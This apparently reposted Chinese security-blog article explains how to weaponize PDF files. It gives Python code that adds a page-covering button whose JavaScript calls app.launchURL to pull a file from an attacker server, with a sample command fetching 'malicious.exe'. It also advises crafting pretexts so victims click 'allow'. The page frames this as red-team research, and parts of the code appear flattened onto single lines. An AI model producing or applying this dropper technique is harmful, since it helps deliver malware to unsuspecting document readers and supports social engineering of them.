注入恶意JS代码到PDF实现下载器功能

admin 2024年8月6日22:04:01评论41 views字数 1804阅读6分0秒阅读模式

介绍和前言

PDF 文件通常被大多数人视为静态文档。但是,PDF 标准允许在文档中执行 JavaScript 代码。此功能提供了可用于红队测试和网络安全研究的各种攻击载荷。在本文中,我们将介绍如何将 JavaScript 注入 PDF 文件以从特定 URL 下载文件并使用此方法建立命令和控制 (C2) 连接。

本文章仅供学习使用,供安全防御参考。

核心注入代码

本实验测试版本:Adobe Reader 2020 ,之前版本的 Adobe Reader 并不支持 JavaScript 注入。

首先需要下载py的fpdf2库:

class AdobeCodeInject():    def __init__(self, target_url: str) -> None:        self.target_url = target_url
def _make_action(self) -> DictionaryObject: # 注意:Adobe Reader 2020 以下版本的 Adobe Reader 并不支持 JavaScript 注入 # 因此需要使用 ADOBE Reader 2020 及以上版本的 Adobe Reader 才能正常注入 JavaScript 代码 # 以下代码仅作为示例,并不保证在所有 Adobe Reader 版本下都能正常注入 # 请自行检查您的 Adobe Reader 版本是否符合要求
# 以下是 JavaScript 代码示例,点击 "Open URL" 跳转到 target_url # 请根据您的 Adobe Reader 版本和 PDF 格式修改 JavaScript 代码以保证正常注入 js_code = f"""try {{ app.launchURL('{self.target_url}', true);}} catch (e) {{ app.alert('Error: ' + e.message);}}""" return DictionaryObject({ NameObject("/S"): NameObject("/JavaScript"), NameObject("/JS"): TextStringObject(js_code), })
def _make_annot(self, rect: RectangleObject, action: IndirectObject) -> DictionaryObject: # rect: 要添加跳转的区域,默认是PDF页面上注释的位置和大小 # action: 跳转执行的位置,一个 IndirectObject 对象,表示当点击注释时要执行的 JavaScript 操作。 annot = DictionaryObject({ NameObject("/Type"): NameObject("/Annot"), NameObject("/Subtype"): NameObject("/Widget"), NameObject("/Rect"): rect, NameObject("/FT"): NameObject("/Btn"), NameObject("/T"): TextStringObject("Open URL"), NameObject("/Ff"): NumberObject(4), NameObject("/A"): action, }) return annot
def exploit(self, pdf: Pdf): action = self._make_action() for p in pdf.pages: arct = p.artbox if not isinstance(arct, RectangleObject): arct = p.mediabox if not isinstance(arct, RectangleObject): arct = p.bleedbox print(f"{p.page_number} use arct: {arct}") annot = self._make_annot(arct, pdf.add_object(action)) pdf.add_annotation(p, annot)

公众号内回复“免杀PDF”获取全部脚本。

效果

python main.py -f original.pdf -o exploit2.pdf -url http://yourserver/malicious.exe

点击文档任何地方都会触发访问询问,剩下的工作,是如何“构造”信息让用户点击允许,比如检查版本...

注入恶意JS代码到PDF实现下载器功能


原文始发于微信公众号(TIPFactory情报工厂):注入恶意JS代码到PDF实现下载器功能

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月6日22:04:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   注入恶意JS代码到PDF实现下载器功能https://cn-sec.com/archives/3040470.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息